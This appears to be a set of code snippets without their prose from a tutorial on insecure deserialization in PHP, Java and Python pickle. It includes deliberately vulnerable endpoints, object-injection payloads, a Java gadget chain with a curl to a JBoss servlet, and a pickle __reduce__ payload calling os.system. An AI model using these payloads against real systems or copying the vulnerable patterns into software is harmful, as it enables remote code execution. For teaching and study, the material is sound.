--------                         --------
|        | ----  Serialize  ---> |        |
| Object |                       | Bytes  |
|        | <--- Deserialize ---- |        |
 --------                         --------

<?php

class A {
    public $one = 1;
    public $two = array('apple', 'pear', 'banana');
}

$b = new A();
echo serialize($b);

?>

import java.io.Serializable;  
  
class TestSerial implements Serializable {  
  
       public byte version = 100;  
  
       public byte count = 0;  
  
} 

AC ED 00 05 73 72 00 0A 53 65 72 69 61 6C 54 65  
  
73 74 A0 0C 34 00 FE B1 DD F9 02 00 02 42 00 05  
  
63 6F 75 6E 74 42 00 07 76 65 72 73 69 6F 6E 78  
  
70 00 64  

>>> import pickle
>>> data = {'apple': 1, 'pear': 2, 'banana': 4}
>>> pickle.dumps(data)
b'\x80\x04\x95#\x00\x00\x00\x00\x00\x00\x00}\x94(\x8c\x05apple\x94K\x01\x8c\x04pear\x94K\x02\x8c\x06banana\x94K\x04u.'

<?php

class merc {
    var $test = '123';
}

$object = new merc();
$data = serialize($object);
$new_object = unserialize($data);

?>

<?php
class merc {
    public $test;
    function __construct() {
        $this->test = new L();
    }

    function __destruct() {
        $this->test->goodbye();
    }
}

class L {
    function goodbye() {
        echo "Bye~";
    }
}

class Evil {
    var $bye_message;
    function goodbye() {
        eval($this->bye_message);
    }
}

unserialize($_GET['test']);

<?php

class merc {
    public $test;
    function __construct() {
        $this->test = new Evil();
    }
}

class Evil {
    var $bye_message = "phpinfo();";
}

$object = new merc();
echo serialize($object);

<?php
class convent {
    var $warn = "No hacker.";
    
    function __destruct() {
        eval($this->warn);
    }
    
    function __wakeup() {
        foreach(get_object_vars($this) as $k => $v) {
            $this->$k = null;
        }
    }
}

unserialize($_POST[cmd]);

cmd=O:7:"convent":2:{s:4:"warn";s:10:"phpinfo();";}

A::__destruct()
     |
      --> B::goodbye() --> safe
     |
      --> C::goodbye()
             |
              --> D::foo() × No such function!
                     |
                     v
                  D::__call()
                       |
                        --> E::bar() 
                               |
                                --> ... --> ✔ vulnerable!

public class Evil implements Serializable{
    public String cmd;
    
    private void readObject(java.io.ObjectInputStream stream) throws Exception {
    
        stream.defaultReadObject();
        Runtime.getRuntime().exec(cmd);
    }
}

public class User {
    private String name;

    public User(String name) {
        this.name=name;
    }
    public void setName(String name) {
        this.name=name;
    }
    public String getName() {
        return name;
    }
}

Class.forName("reflection.User") // method 1

User.class                       // method 2

new User().getClass()            // method 3

Class UserClass = Class.forName("reflection.User");

Constructor constructor = UserClass.getConstructor(String.class);
User user = (User) constructor.newInstance("mercury");

Field field = UserClass.getDeclaredField("name");
field.setAccessible(true);
field.set(user, "merc");

Class UserClass = Class.forName("reflection.User");

Constructor constructor = UserClass.getConstructor(String.class);
User user = (User) constructor.newInstance("mercury");

Method method = UserClass.getDeclaredMethod("setName", String.class);
method.invoke(user, "merc");

// java.lang.Runtime.getRuntime().exec("calc.exe");
Class runtimeClass = Class.forName("java.lang.Runtime");

// getRuntime() is static
Object runtime = runtimeClass.getMethod("getRuntime").invoke(null);
        
runtimeClass.getMethod("exec", String.class).invoke(runtime, "calc.exe");

javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1.java

java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1 "calc.exe"

curl http://ip:port/jbossmq-httpil/HTTPServerILServlet --data-binary @ExampleCommonsCollections1.ser

((Runtime)Runtime.class.getMethod("getRuntime", new Class[0]).invoke(null, new Object[0])).exec(cmd[]);

    new InvokerTransformer(
        "invoke",
        (new Class[] {Object.class, Object[].class}),
        (new Object[] {null, new Object[0]})
    ),
    new InvokerTransformer(
        "exec",
        new Class[] { String[].class },
        new Object[]{ cmd }
    )
};

ObjectInputStream.readObject
ObjectInputStream.readUnshared
XMLDecoder.readObject
Yaml.load
XStream.fromXML
ObjectMapper.readValue
JSON.parseObject
...

 --------                            --------
|        | ---- pickle.dumps() ---> |        |
| Object |                          | Bytes  |
|        | <--- pickle.loads() ---- |        |
 --------                            --------

@app.route("/")
def index():
    try:
        user = base64.b64decode(request.cookies.get('user'))
        user = pickle.loads(user)
        username = user["username"]
    except:
        username = "Guest"
    return "Hello %s" % username

import os
import pickle
import requests
import base64

class test(object):
    def __reduce__(self):
        return (os.system,('whoami',))
      
a = test()
payload = pickle.dumps(a)
cookies = dict(user=base64.b64encode(payload).decode('utf-8'))

response = requests.get("http://127.0.0.1:5000", cookies=cookies)

<?xml version="1.0" encoding="UTF-8"?>
<note>
  <to>Tove</to>
  <from>Jani</from>
  <heading>Reminder</heading>
  <body>Don't forget me this weekend!</body>
</note>